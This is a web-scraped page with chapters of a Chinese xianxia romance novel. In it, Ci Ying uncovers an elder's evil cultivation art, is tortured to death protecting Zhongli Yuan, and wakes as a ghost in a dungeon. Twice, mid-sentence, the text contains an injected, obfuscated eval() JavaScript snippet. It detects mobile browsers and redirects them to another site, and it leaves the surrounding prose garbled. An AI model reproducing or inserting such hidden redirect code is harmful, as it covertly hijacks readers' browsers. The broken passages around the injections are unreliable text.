任平生嘴角抽了抽:“我一直以为你们这种乾坤袋里装的都是稀世珍宝。” 辞盈没理他,扯过床单把他裹成了木乃伊,只露出胳膊和眼睛在外头,上下打量一番,满意点头:“成了,保证亲妈来了都认不出。” 任平生:“那个……你懂勒昏的急救术吧?万一我被勒昏过去……” 辞盈忍无可忍,一把推开门,顺带踹了他一脚。裹成木乃伊的任平生迈着僵硬又诡异的步伐挪进房内,若不是辞盈在后头跟着,屋里的人怕是要集体抄家伙,把这“僵尸”给劈了。 萧无忧正趴在墨让尘床前哭,眼睛肿得像核桃,一回头看见木乃伊,惊喜道:“小土豆,你怎么在这?” 任平生:“……” 辞盈:“什么土豆?” 萧无忧拽起床单一角,“嗖嗖”猛扯了两下,任平生像个陀螺似的转了N圈,差点儿栽倒,晃晃悠悠被辞盈扶了一把。 “不是吧,我都这样了你还能认出来?” “这有什么难的。”萧无忧一笑,露出两颗小虎牙。她拉着任平生就往床边拽,“你在这太好了,快看看他,一定要把他救活!” 任平生深深看了她一眼,语气像是漫不经心,却带着点不易察觉的关切:“先顾好你自己吧,又偷偷喝冷酒,胃不疼了?” 萧无忧忙道:“不疼不疼,只要你把他救活,我就不疼。” 任平生叹了口气,凑过去仔细检查。屋子里瞬间安静下来,所有人的目光都紧紧锁在他身上,等着那个能决定生死的答案。 他眉头刚一皱,众人的心就跟着一沉。 他“啧”了一声,众人立刻抻长脖子。 墨让尘静静地躺着,面色平和得仿佛只是睡着了,丝毫看不出受了重伤的模样。 半晌,任平生摇了摇头,冒出一句:“不可能啊。” 辞盈屏住呼吸,手指凉得像冰。 “怎么了?”萧无忧急道,“救不了吗?” 任平生一脸困惑:“不是,怎么可能呢?” “好好说话!”萧无忧一巴掌拍在他后背,任平生那单薄的小身板差点给拍散架了,捂着胸口虚咳两声:“没事儿,暂时死不了。” 江羡之追问:“那你刚才说不可能?” 任平生道:“我从没见过受这么重的伤还能活着的人。不说别的,他五脏六腑全都给震错位了,经脉百骸也严重受损,换个人早就凉得透透的了,根本不可能还活着。可他竟然气息还算均匀,这得是多厚的底子啊。” 众人这才松了一口气。江羡之又问:“那我师尊何时才能醒过来?” 任平生摸了摸下巴:“这个不好说,多久都有可能。不过我看他命大得很,估计用不了太久。诸位,我好奇问一句,他这么深厚的内力被打成这样,是被陨石砸了吗?” 众人的目光“唰”地一下,全带着愤怒投向辞盈。 辞盈咽了口唾沫,没话可说。行吧,这事,算在她头上。 “都散了吧。”任平生挥挥手,“这么多人挤在这小屋里,他没死也得被闷死,留一个人看着就行。” 萧无忧立刻抢话:“我要留在这儿照顾他!” 哪有大姑娘留下照顾陌生男人的,天长日久,没问题也会照顾出问题,更何况她还一副饿虎扑食的模样。 萧阳皱眉:“这不合适,你别胡闹。” 萧无忧不服:“怎么不合适?别人照顾我才不放心。” 任平生不紧不慢地开口:“墨宗主现在伤势危重,体内经脉紊乱,阴阳失调,女子不宜离得太近,会影响他恢复。” 辞盈隐蔽地给他竖了个大拇指。 我就静静地看着你编。 任平生回了个挑眉的眼神,一副胸有成竹的模样。 “无忧,听话。”萧阳斜了任平生一眼,也懒得拆穿他。 当年,代茵命悬一线,有人告诉萧阳,药王谷霍圣有起死回生之能。为了逼霍圣交出回灵丹,他将药王谷众人赶到一片空地上,下令每隔一刻钟就斩杀一批,不分男女老幼,直到交出回灵丹为止。 谁料霍圣竟是个硬骨头,一言不发,在他要杀第一批人前就服了剧毒,连一丝生还的机会都没留给自己,彻底断了萧阳的念想。 本以为霍圣一死,这事就能了了。没曾想萧阳盛怒之下,竟放火烧了药王谷,将谷内众人屠戮殆尽。 尘埃落定之时,山清水秀的药王谷已成一片焦土。他带着人马返程途中,看见一个白胖的小男孩,也就七八岁的样子,比他女儿还矮些,满脸烟灰抹得像只小花猫,手里还攥着半个肉包子,仰着脑袋,呆呆地望着他。 不知怎的,萧阳忽然就没了杀他的念头。 “胖得像个土豆似的。” 这是萧无忧第一眼看到任平生时的评价。 “你可以使唤他做任何事,不高兴了拿他撒气也行,随便你怎么摆弄。”萧阳宠溺地抱着女儿,在她白嫩的鼻尖上刮了一下,“你不是总抱怨爹没时间陪你玩吗?以后让他陪你好不好?” 萧无忧摇头:“我不想跟他玩,我想要爹。” “哦?那留着他就没用了。”< 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至此,他才彻底放心让任平生陪在萧无忧身边,做个任劳任怨的小跟班。两年前,萧无忧忽然哭红了眼睛跑来找他,说任平生不见了。 在萧阳看来,这就跟家里丢了条狗差不多,还是条不会看家护院的笨狗。他随便派了几个人找找,没结果也就作罢了。 从那以后,玄武教再也没人见过大小姐的“小土豆”。 直到今天,这小子又神出鬼没地出现在水云剑宗。 江羡之自告奋勇:“还是我来照顾师尊吧,你们都回去休息。” 云麓殿外,众人散去,只有萧无忧一步三回头,磨磨蹭蹭不肯走。任平生陪着她,在附近慢吞吞地晃荡。 月明星稀,凉风从山间草树里钻出来,带着几分阴翳。萧无忧身上的纱裙好看是好看,却不顶用,她打了个寒噤,带着淡淡皂角香的青衫外褂就披在了身上。 任平生自己只剩下一件浅绿色薄衫,更显得弱不禁风,他挺了挺胸脯,站得比旁边的翠柏还直。他上下打量了萧无忧一圈:“我给你开个方子,回去自己抓药吃。” 说完,他低头盯着自己的鞋尖,声音里带着点窝囊,又有点怨气:“脸色白得跟鬼似的。” 话音刚落,就被萧无忧一把掐住脖子,使劲摇来摇去:“小土豆,这两年你跑哪儿快活去了?为什么不带我一起?嗯?” 任平生脑袋都快被摇掉了,吐着舌头,断断续续地说:“我哪……敢把你拐……跑你爹还……不得打……折我的腿……” “那你也不能不辞而别呀!”萧无忧眼眶又红了,气鼓鼓地骂,“狼心狗肺!扔下我一个人在家,闷都闷死了!” 任平生神色微动,一边偷瞄她投在墙上的影子,一边轻描淡写地问:“怎么,很想我吗?” “当然想了!”萧无忧说,“你不在家,我生气了都不知道该揍谁。” 任平生无语:“你不是想揍谁就揍谁吗?” “可我不想揍他们啊,一个个就知道说好听的巴结我,没劲死了。”萧无忧说着,眼睛忽然亮起来,亲昵地挽住了任平生的胳膊。 大概是从小养成的习惯,任平生没觉得丝毫别扭,自然地让她挽着,听见她说:“小土豆,跟你说哦,现在除了你,还有一个人不巴结我了。” “你说屋里躺着那个半死不活的?” “谁半死不活啦!”萧无忧一拳砸在他肚子上,“不许你咒他!” 任平生疼得龇牙咧嘴,弯着腰嘶着气:“他那样还用得着我咒?你想嫁过去就做寡妇吗?” “我呸呸呸!”萧无忧举起拳头,看看他那小身板好像禁不住第二下,只好狠狠瞪他一眼,“你懂什么,他是我见过除了我爹以外最厉害的人,肯定能好起来的!” 任平生一时忘了疼,紧张地追问:“你爹这次带你来提亲,他怎么说的?” “他……”萧无忧想起墨让尘冷若冰霜的样子,真是又爱又恨。他说话的声音就如同碎玉折竹般清洌,又不爱笑,却生得那么俊朗。 自从墨让尘一袭白衣从天而降救了她,她就像着了魔一样,那光风霁月的身影,总在她心头挥之不去。 “他就像个孤傲又不食人间烟火的神仙一样。”萧无忧满脸甜蜜地下定义。 “还不食人间烟火……那叫辟谷,修为高就能行,你爹也行。”任平生将她一秒拉回现实,不屑道,“再说这世上这么多美食都不吃,活着还有什么意思。” “你懂什么。”萧无忧斜了他一眼。 “所以,他到底怎么说的啊?” 萧无忧无趣地撇了撇嘴,用一个明晃晃的表情回答了他。 任平生没忍住,“噗嗤”一声笑了出来。 差点没被当场打死。 44. 嗔怨 云麓殿偏殿静得能听见烛火跳动的轻响,江羡之坐在床边打了个盹,恍惚间身上一暖,睁眼便见一件外衫落在肩头。 白芷立在一旁,雪缎银丝绣梅的襦裙衬得她粉颊泛着淡淡红晕,像极了冰天雪地里傲然绽放的红梅,清冷中透着娇俏,让人忍不住想捧在手心。 江羡之瞬间困意全消,忙把椅子让给她,自己像只温顺的大狗蹲在边上,仰头看着她傻笑。 白芷星眸微嗔:“立冬了,早晚都凉得刺骨,你也不知道多穿些,真冻病了,看谁来管你。” 江羡之笑道:“自然是你管我,旁人拿来的药,我一口也不会喝。” 白芷说:“小心我在你药里下毒。” “那可不成。”江羡之将她温软的手握在手心,像捏着自己的软肋,“毒死我倒没什么,只是往后没人让你欺负了,你岂不是要寂寞?” 白芷故作得意地扬下巴:“想被我欺负的人,从这儿能排到暮苍山脚,还愁找不到比你更俊的?” 江羡之眼底笑意未减,语气却添了几分郑重:“或许有比我更俊的,但绝没有比我更诚心的了。” 闻言,白芷却没露出欢喜的模样,嘴唇抿成一条线,像是有话要说又咽了回去。 “不信?”江羡之声音放得很轻。 白芷摇摇头:“不是。只是你对我太好,我怕……” “怕天长日久了,我会变?” 他瞳若点漆,溢满了盛不下的深情,映出她娇俏迷茫的脸。 白芷道:“正相反,我是怕有一天会负了你。” 江羡之笑道:“若真有那么一天,定是我哪里做得不好惹你生气,要打要罚,随你怎么处置我都行。” 正说着,殿门“咚咚”响了两声。过了片刻,辞盈才探进头来,讪讪道:“不好意思,打扰二位了。” 白芷红着脸抽回手:“打扰什么,你来得正好。” 辞盈走到墨让尘床前。 墨让尘依旧毫无意识,双目紧闭,神情却平静如水。锋锐的眉骨如刀刻般分明,透着一股神圣不可侵犯的清冷凛冽。 辞盈将佩剑抽出两寸,剑刃闪过一道寒光,雪白的手腕瞬间划开一道血口,血珠争先恐后地涌出来。她将伤口贴上墨让尘的唇,同时运起周身灵力,催动血液汩汩流入他齿缝。 “小盈!你做什么?!”江羡之惊得跳起来。 传闻圣女血肉炼化可助修为暴涨,而圣女血更是滋补神药,能补气养元、消弭百病,功效直逼传说中的唐僧肉。 毫不夸张地说,若辞盈早生几年,当年代茵还有一口气在,萧阳就算冒着被墨让尘砍死的风险,也定会来抢她的血肉。 鲜血混着灵力流入墨让尘体内,如泥牛入海。他的面色丝毫未变,辞盈的脸却以肉眼可见的速度变得惨白,身体甚至摇摇欲坠地晃了两下。江羡之忍无可忍,一把将她拉开:“你想把自己整个儿炼化了吗!” “不至于。”辞盈扶着墙稳住身形,笑道,“你瞧,师尊的脸色是不是比刚才红润了些?” 江羡之:“我可没看出来!圣女之血的传闻真假还未可知,你怎么也跟外头那些蠢货似的,说信就信?” “总得试试,万一是真的呢。” 江羡之瞪圆了眼:“万一?万一你今天把自己掏空了死在这儿,师尊醒了,第一个宰的就是我!” “好了好了。”辞盈转头看向白芷,打趣道,“他这么絮叨,你平日里怎么忍的?” 白芷笑了笑:“他也就对你才这样。我要是有这么个哥哥,整日在身边念叨着管着,怕是要偷着乐呢。” “要什么哥哥,有我就够了,不用旁人。”江羡之厚着脸皮插嘴。 辞盈一愣,脑海里忽然闪过一张温柔魅惑的脸。 “阿姐什么都不用做,有我就够了。” “你真的……要杀我吗?” “这些日子,你可曾有过一刻想过我?” 那双淡棕色的瞳孔里,盛满了被背叛的失望,像根针,猝不及防刺进心里。 一定很疼啊,他流了那么多血。那么骄傲的一个人,疼得连腰都直不起来。 若不是她非要回水云剑宗,非要送那枚圣灵珠,他根本不会卷进这摊浑水里。 辞盈忽然抬头问:“师兄,圣灵珠你拿到了吧?” “嗯,我会交给爹,尽快安排救治。”江羡之欣慰地竖起大拇指,“小盈,这次你真做了件了不起的大事。” 辞盈自嘲地苦笑:“哪里是我做的。师兄,拜托你一定照看好师尊。等他醒了,务必用雪鸮给我传个信,好让我安心。” 江羡之察觉到不对:“你要走?” “嗯。” 江羡之的语气沉了下来:“你该不会是要去找……他吧?” 他甚至不想提起那个晦气的名字。 “嗯。” “你真要去找他?!”江羡之气得一蹦三尺高,嗓门骤然亮了一倍,“那师尊怎么办?!小盈,你到底怎么想的!” 白芷轻轻拉了拉他的袖子。 辞盈沉默片刻,无奈道:“我也不知道……我只知道,若现在不去找他,我什么也做不了,连觉也睡不着。” 江羡之盯着这个想一出是一出的师妹,真想把她关进偏殿,扔几个馒头让她好好冷静几天。 可她看起来,已经冷静得过分了。 她不争辩,不解释,甚至连一丝冲动的神色都没有,只是平静地宣布自己的决定,仿佛吃饭睡觉、日出东方般天经地义。反倒是他自己,暴跳如雷上蹿下跳显得很不稳重。 他沉吟片刻,终于叹了口气:“你想好了?我会如实转告师尊。小盈,师尊的心思,你比我更清楚吧?他虽不能明说,可……可……” 他看了一眼榻上昏迷的墨让尘,又道:“你真忍心抛下他?” 辞盈转身往外走,拉开殿门,孤寒的山风灌进来,吹得她混沌的脑袋清醒了几分。她释然开口,声音轻得像叹息: “若师尊问起……就说,是我对不起他。” 可墨让尘怎么会追问呢。 师尊大概只会风轻云淡地“嗯”一声,然后便回云麓殿,继续打坐、修炼、处理公务,仿佛什么都没发生过。 皎洁的月光潇洒地洒满暮苍山,照得人心里清亮亮的。她迎着月亮往前走,越走越快,最后索性跑了起来。 雀跃的心情如同飘浮九天之上绵密的云端,又似融化一枚舌尖清甜的糖果,脚步前所未有地轻快。 她终于从作茧自缚的迷雾里爬出来,拨云见日般摸到了真实的内心。 她有些等不及了,想立刻奔回逍遥山庄,立刻见到钟离渊。 想抱抱他,告诉他,旁人都不重要。 只要相思咒还在,只要他还愿意…… 电光火石间,她猛地顿住脚步——游乘风的事还没来得及说。 暮苍山清莲斋。 浓重的祉精香气弥漫在空气中,呛得人几乎喘不过气。辞盈每次来都觉得离谱,这哪里是驱魔除妖,分明是要把人也呛死在这里。 何况清衍真人修炼多年,道行高深,妖魔本该绕着他走才对,哪用得着靠熏香镇宅? 她捏着鼻子站在门外,毕恭毕敬:“弟子辞盈,有要事向老祖禀报。” 等了好一会儿,殿内一片死寂。 难道老祖睡着了? 她又耐着性子重复了一遍。 殿内终于传来肃穆庄严的声音: “进来。” 辞盈规规矩矩地入殿行礼,垂首道:“弟子日前在常山地界褚家庄附近,发现有妖邪作祟。细查之下,才知背后主谋是飞鹰堂——”她顿了顿,语气凝重起来,“还有我水云剑宗弟子,游乘风。” 殿上再次陷入沉寂。 辞盈忍不住抬头,正好对上江鹤川那双带着凛冽审视的眼睛。 “你说什么?”他的声音带着不容置疑的威压。 “回老祖,游乘风先是诓骗良家女子,后又残杀无辜百姓,甚至连自己的亲生骨肉都不放过,简直丧尽天良。弟子本想向师尊禀明此事,可眼下师尊正在静养,只好来向老祖禀报。请老祖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146171|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查清真相,惩治恶人,肃清水云剑宗。” 江鹤川沉吟片刻,肃然道:“我知道了,你退下吧。” “是。” 游乘风毕竟是宗主的亲传首徒,此事不宜大肆宣扬。否则,水云剑宗不仅在一众修仙门派中颜面扫地,日后在百姓心中也再无清誉可言。 辞盈转身走出几步,又忽然想到什么,回头道:“游乘风残害多人,以铜镜为法器吸收怨灵怨气,恐怕不只是图财谋色这么简单,其中定有更深的阴谋,请老祖务必留心。” “怨气?”江鹤川声音听不出情绪。 “正是。”辞盈回忆着藏经阁的记载,仔细道,“弟子记得书中提过,三百年前钟离桀修炼的功法,便是吸收恶鬼怨气化为己用。因此他修为虽强,却邪气阴重。不知这事,与游乘风是否有关联?” “你认为呢?” 辞盈顺着思路往下想,越想越觉得不对劲:“弟子记得,钟离桀修炼邪功,靠的是一枚刻着瑞兽祥云的青玉扳指。据说那扳指是从上古残暴帝王的陵墓中发掘的,邪气冲天。自从他被墨翊诛杀后,那枚扳指便没了踪迹……” 话音未落,头顶忽然传来一声冷笑: “你说的,是这个吗?” 江鹤川的拇指上,赫然套着一枚青玉扳指! 祥云瑞兽雕琢极其细致,碧绿通透清澈如水,正袅袅地散发着幽黑的怨气,将江鹤川的瞳孔也染成一片阴森的墨色。 一阵头皮发麻,冷嗖嗖蔓延到背颈,辞盈瞬间惊觉自己有多蠢。 三百年前钟离桀被诛杀之时,游乘风还没出生,青玉扳指怎么会落到他手上? 如果不是背后有人撑腰,游乘风有多大胆量,又有多大能耐,去沾染这毁天灭地的邪功而不被发现? 那么,这个背后作恶的高人,既然不是墨让尘,水云剑宗还有谁能一手遮天? 这清莲斋里浓郁呛鼻的祉精香,哪里是镇宅,分明是为了掩盖他身上阴森的鬼气! 她竟然蠢到自投罗网。 “我本不想这么暴殄天物地杀了你,毕竟至纯至善之魂世间罕有,若能以你的魂魄为鼎积满怨气,功效一定非同凡响。” 江鹤川苍老的褶皱又深了一层,堆成一个嘲讽的笑容:“这三年,我费尽心思让你诸事不顺,处处受困,却又舍不得让你死,只为了将你锻造成一个合格的怨炉。你可感受到了?” 原来,她不是什么天选倒霉蛋。 走到哪儿都被冤枉被孤立被追杀,竟都是他在暗中使绊子? 老登! 辞盈怒极反笑,大声道:“可惜,你这种小人做派根本刺激不到我,说实话,反而还挺有意思的,我打游戏一向都喜欢hard模式。” 江鹤川眼底翻涌起幽深的戾色。 至纯之魂既然做不成炉鼎,圣女血肉便没有再留的必要了。 与其日后便宜了山精野怪,倒不如今日就助我登峰造极! 他抬手掐诀布下法阵,清莲斋四周金光大盛,瞬间筑起一层坚不可摧的结界。哪怕清莲斋现在被原地炸飞,界外暮苍山上也察觉不到任何异样。 辞盈缓缓抽出佩剑,脊背挺直,面色平静。 江鹤川的白袍之下,墨色如浓烟翻涌,像山火燎原般张牙舞爪地缭绕在他周身,透着说不出的诡异。 拂尘道光一闪,江鹤川只用了两分力,足以将对面不知天高地厚的女孩掀飞。她甚至来不及接招,脊背狠狠撞在坚硬的房梁上,又重重地跌回地面。 他明明可以直接捏碎她的骨头,却偏要看着她千疮百孔,寸寸尽断。 痛吗?恨吗?想复仇吗? 变成充满怨气的炉鼎吧。 辞盈被血沫呛咳了几声,躺在地上大口喘气。 可神识深处,却隐约传来一股焦灼的气息。 是他。 他感应到了她的断骨之痛。 钟离渊的声音仿佛远在天边,又似近在滚烫的灵魂交织处,带着一丝不易察觉的颤抖: “你遇到了什么? 说话。” 45. 与君诀别 江鹤川在殿上微微眯起眼,察觉到一丝异样,脸上却不见惊讶,反倒露出几分近乎鼓励的神情,扬声道:“求救吧,让他现在就来救你。这结界,防不住他的。” 辞盈知道,只要她开口,钟离渊必定会来。 哪怕他先挨了墨让尘一剑,又被相思咒反噬重伤,自保尚且困难,恐怕根本扛不住江鹤川怨灵滔天的邪功。 可她若求救,他就必须得来。相思咒早已入心入骨,绝不允许他眼睁睁看着她死。 可这对他来说,公平吗? 他救过她一次又一次,凭什么非要为她把命都搭进去? 辞盈咬着牙,决意不吭声。何况此刻一张嘴就呕血,她也懒得多费唇舌,只当江鹤川在放屁。 江鹤川那张慈眉善目的脸终于浮起愠色,缓缓起身走到她面前。他那只苍老嶙峋的手猛地掐住她雪白的脖颈,将她拎起来。 “你当真不想活命了?” 窒息感瞬间袭来,脖子像要被生生掐断。辞盈本能地拼命拍打他的手,脸上充血涨得发紫,拍打的动作渐渐没了力气。 远处,遥不可及的声音变得急不可耐。 “你在哪里? 回答我!” 像铁箍般扼住脖子的手终于松开,她像只瘫软的猎物,被狠狠摔在墙角。 江鹤川眼中又带了丝悲悯,用一种我也是为你好的眼神看着她,语气温和得虚伪:“叫他来,你便是协助我镇压魔头的功臣。我不会再为难你,你依然能留在云麓殿陪着让尘,就像从前一样。” 江鹤川打得一手好算盘。 他以上古邪功布下阵法,只待钟离渊入阵——那便如同鸟入樊笼、飞蛾扑火。何况钟离渊白天已受重创,就算再怎么天赋异禀,也绝无可能即刻恢复如。此刻正是斩杀他的千载难逢的好机会。 可这诱饵偏像听不懂人话,实在令人恼火。 “你为何……不在三百年前就杀了他?”辞盈勉强提气问道。 “杀了他?岂不白白浪费了钟离桀那一身修为,可惜我始终遍寻不到错金博山炉。”江鹤川苍老浑浊的眼睛里闪过精光,“幸而阴差阳错,如今有了你,我便等同于有了错金博山炉。待我得到钟离渊的全部修为,便可将水云剑宗发扬光大,这也是让尘的心愿。辞盈,你难道不想帮让尘实现吗?” 辞盈喘着气,冷笑:“大白天你就开始做梦,老年痴呆了吗。” 江鹤川抄起手边的戒尺掷出,如一柄利剑穿透辞盈肩膀,血溅四壁。 “叫他来!” 辞盈虚弱地趴在地上,身体因剧痛不受控制地颤抖,像被暴风雨凌虐过的残花,几乎瓣瓣欲碎,却不知为何还要死撑。 半晌,她抬起头,一边呕着血,一边吃力地举起手,对着江鹤川轻蔑地竖起了中指。 江鹤川眼中掠过怒色。 他看不懂这手势,但直觉告诉他骂的很脏。 “冥顽不灵!” 锥心刺骨的剧痛排山倒海袭来,辞盈猛地睁大眼,瞬间失去了呼吸的能力。 脑海里闪过那张冷白无情的脸: “若没有相思咒,我现在就杀了你。” “我从未这般憋闷过,哪怕被压在天罡塔下,也比现在痛快。” “你控制我,锁住我,你比铁链穿琵琶骨更狠毒。” 对不起,钟离渊。情非得已,才困住了你。 这一次,我不拖累你了。 只是可惜…… 少女死死咬紧牙关,不肯泄出一丝声音。 深重的怨气化作有形的魑魅魍魉,穷凶极恶地扑向辞盈,贪婪地撕咬啃食她的每一寸骨肉。淋漓的圣女血像新摘的蟠桃般鲜嫩,清莲斋上空回荡着怨灵阴森的尖叫与狞笑,仿佛来自地狱的诅咒。 千里之外,钟离渊一掌将身前的桌案拍得粉碎。他脸色煞白着,额角青筋暴起,浑身早已被冷汗浸透。 “叫我! 你在做什么! 快叫我名字!!!” 他清晰地感觉到她的元神正遭遇重创,如流星般飞速弱化、湮灭。 万箭穿心般的绞痛愈演愈烈,他彻底慌了神,对着虚空颤抖着传音: “我错了,我错了!我再也不跟你怄气了,你说怎样就怎样,你想喜欢谁也随你。叫我!交给我解决,好不好?” 钟离渊紧绷的脊背弯成一道弓,扑通一声跪倒在地面,呕了一大口血,腑脏内犹如熊熊烈火烧灼,肝胆欲裂。 “求你了, 喊我吧…… 你他妈快死了!快叫我啊! ——姜晚!!!” 霎那之间,钟离渊歇斯底里的怒吼卡在喉咙里,戛然而止。他颤抖着抬起手摸向自己胸口,不可置信地低头,望着空荡荡的心房。 没有了。 什么都没有了。 万箭穿心,烈火灼烧,刚才所有几乎要了他命的感受,都犹如一场幻觉,在一瞬间全都凭空消失了。 包括那道一直束缚在心间的咒术之力,消失得干干净净,仿佛从未存在过。 她不在了。 灵识破碎如满天星河,缥缈地闪耀着银亮的光。 钟离渊,这下世上真的没人能伤到你了。 钟离渊,我曾想陪你走到相思咒的尽头,只是没想到,这尽头来得这样快。 广袤天地,从此任君自由来去。 …… 接下来的两天,暮苍山始终被散不开的阴霾笼罩。 灰蒙蒙的天压得极低,像包子屉上的破布,罩得人心里沉甸甸的。 暮苍山上弥漫着重重浓雾,看着便不像个道士修炼的仙山,反似人迹罕至的密林,阴森诡谲。 明明已经过了晨练时分,天光却依然晦暗朦胧。 这样的天气最适合赖床。演武场上只有寥寥几个勤奋的弟子在练剑,大部分人都选择窝在床上等雾散——水平不够还非要摸着大雾练剑,搞不好会削掉同门的鼻子。 江羡之又在床边昏昏沉沉地坐了半宿。看了看依旧昏迷的墨让尘,又想起小师妹毅然离去的背影,心里莫名冒火。 可恶,那个钟离渊除了长得好看、打架厉害,到底有什么了不起?难道师尊就不好看、不厉害吗? 江羡之一边替师尊抱不平,一边发愁等师尊醒了,该怎么跟他说。他叹了口气,起身走到窗边推开槛窗,迎面扑了一鼻子冰凉的晨雾,吓了一跳——这仙气飘飘的,他还以为自己带着房子一起飞升了。 有弟子从附近路过,伸手不见五指的浓雾成了保护色,只闻其声不见其人: “听说了吗,九重幽冥暗渊的烛龙被人杀了!” “我草,那可是烛龙!又不是家养的兔子,说杀就杀吗?烛龙招谁惹谁了?” “嗨,这你都不知道?传说烛龙之心有起死回生之能。甭管人死得多透,哪怕尸骨烧成灰,只要还有一息魂魄,烛龙之心都能重塑肉身。” “假的吧?这么厉害,早该被人杀了。” “你去杀一个试试?九重幽冥暗渊是那么好闯的?我这辈子就没听说有人能伤得了烛龙!玄武教萧阳够横、够不讲理了吧?他若有这本事,当年也犯不着火烧药王谷了。” “也是。不知道是谁这么狠……要是我有这本事就好了,我想复活我娘……” “得了吧,你一只脚踩进暗渊,就得等着别人复活你了……” 江羡之回头看了眼墨让尘,暗自庆幸:幸好师尊还活着,要不然,就算他想救师尊,也没本事去闯九重幽冥暗渊。 白雾中探出一只纤纤玉手,腕间银铃脆生生地响。一只碗举到他鼻尖前晃了晃,碗里是百合银耳莲子羹。白芷娇笑道:“我来投毒了,江公子敢不敢吃?” 江羡之大喜,连忙道:“敢吃敢吃,毒死我也是要吃的,你快进来。” 白芷面如满月,盈盈秋水含笑道:“不进去了,我还要去归燕阁给叶姑姑送一碗。” 归燕阁从前是江鹤川和叶棠的居所,近些年来江鹤川大部分时间都在清莲斋打坐,每隔半月才回去住一次,倒是极有规律。归燕阁通常就只有叶棠一人独居,素日里也鲜有人来打扰。 白芷从小看着曹不义眼色长大,最懂怎么讨长辈的欢心。自从到了水云剑宗,她这门手艺半点儿没糟蹋,全用在叶棠身上了,一口一个叶姑姑叫得亲热。 如今叶棠对这姑娘横看竖看都喜欢得紧,心里已经默认是未来儿媳,只差江鹤川点头了。 “呆子,我想趁叶姑姑不在,先进归燕阁给她个惊喜。你有钥匙吗?” 江羡之立刻从腰间乾坤袋里翻出钥匙递给她,依依不舍道:“不再陪我一会儿了吗?看我吃完你再走也行啊。” 葱白如玉的指尖在他额头推了一下,娇嗔道:“美得你。” …… 虚空混沌之中飘着孤零零的一道残魂,隐隐泛着红光,也不知飘了多久,那残魂像刚睡醒似地一个激灵,惊恐地环顾四周: 阴暗的地牢四壁都泛着糜烂与潮湿的味道,因为常年不见天日,连空气也浑浊不堪。然而地牢却并不是全然陷在黑暗里,飘荡的荧荧鬼火星星点点地释放着诡异幽绿的光。 这里没有活人,偌大的地牢里关着太多跟它一样的孤魂野鬼,个个怨煞冲天,将整个地牢搅和得乌烟瘴气。 辞盈懵了许久,才后知后觉地发现——自己已经不是人了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150210|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她现在是鬼魂,一个主动赴死、干干净净,半分怨气也没有的鬼魂。 岂有此理,显着你了?! 怨愤的孤魂们原地成团,众志成城,誓要让这个格格不入的新来者再死一次。 辞盈弱小无助,被追得满屋跑。做了鬼都不消停,怎么鬼界也有职场霸凌啊啊啊啊—— 被逼到穷途末路,辞盈干脆破罐破摔地缩成一团: 先说好,都别打脸啊! 倏忽间,红光一闪,如火花炸裂般骤盛。怨魂们刚要触碰到她,就被一股强大的力量震飞,险些灰飞烟灭,哀嚎惨叫声四起。 辞盈愣了愣。这红光…… 钟离渊的一缕残魂竟然还在?还带着法力?!这不科学! 怨魂们瞬间老实了,畏惧地绕着她走,再不敢靠近分毫。辞盈无辜耸肩:有人做道士被鬼追着打,有人一缕残魂就能把鬼打哭。同样是人,差距咋就这么大呢。 哦不对,她现在不是人了。 地牢宽阔,怨魂哀叫声在墙壁之间反复回弹,绕梁三日不绝于耳,搅得鬼心惶惶。辞盈听得头疼,摸索着飘到紧闭的大门前研究怎么出去。 身后传来一声嘲讽,在一片鬼哭狼嚎之中显得格外清醒、冷漠: “没用的。三百年了,我只见鬼魂进来,就没见过出去的。” 辞盈猛然回头,扫视一圈才发现角落里还坐着个女人,身上没有鬼气,四周也没有鬼魂敢靠近她。隐蔽在黑暗中的脸惨白又美艳,弱骨纤形又风情万种,细看之下,婀娜腰身底下赫然盘着一条蛇尾。 辞盈望着她,只觉得眉目间隐约有些熟悉的味道,说不上来在哪里见过:“你是活人?!啊不,活妖?!” 女人没回答,只用眼角瞥了她一眼:“你身上半分怨气也没有,那老东西关你做什么?” “我倒霉呗。”辞盈反问,“你刚才说,被关了三百年?” 三百年前,蛇妖,被囚禁…… 电光火石间,辞盈猛地反应过来,大惊道:“你是钟离渊的母亲?!” 女人神色微动,终于肯抬起眼皮看她:“你是什么人?” 辞盈回答长辈问话向来不过脑子,脱口而出:“我是水云剑宗弟子,墨让尘是我师尊。” 女人眸色深了一重。 …… 辞盈恨不得抽自己两耳光。 是嫌自己死得不够彻底吗?竟然在钟离桀的妻子面前,提墨让尘——那个害得她家破人亡的仇人之子! “嘿嘿,那个什么,前辈,我跟钟离渊是好朋友,特别好的那种,哈哈哈……” 辞盈傻笑着找补了半天,见女人没有暴起再杀她一次的意思,才尴尬地闭了嘴,装作若无其事地看天看地看空气。 半晌,女人又开口:“你是因为什么被抓进来的?” 辞盈耷拉着脑袋:“因为我倒霉催的,识破了江鹤川的邪功。” “那你为何不去禀报你师尊?” “因为我师尊现在身受重伤,昏迷不醒。” 女人松松盘着的蛇尾紧了两圈,眯起眼睛问:“墨让尘伤势如何?” 果然仇恨比爱走得更远。 这蛇妖开口先关心的竟不是钟离渊过得好不好,而是墨让尘死没死。 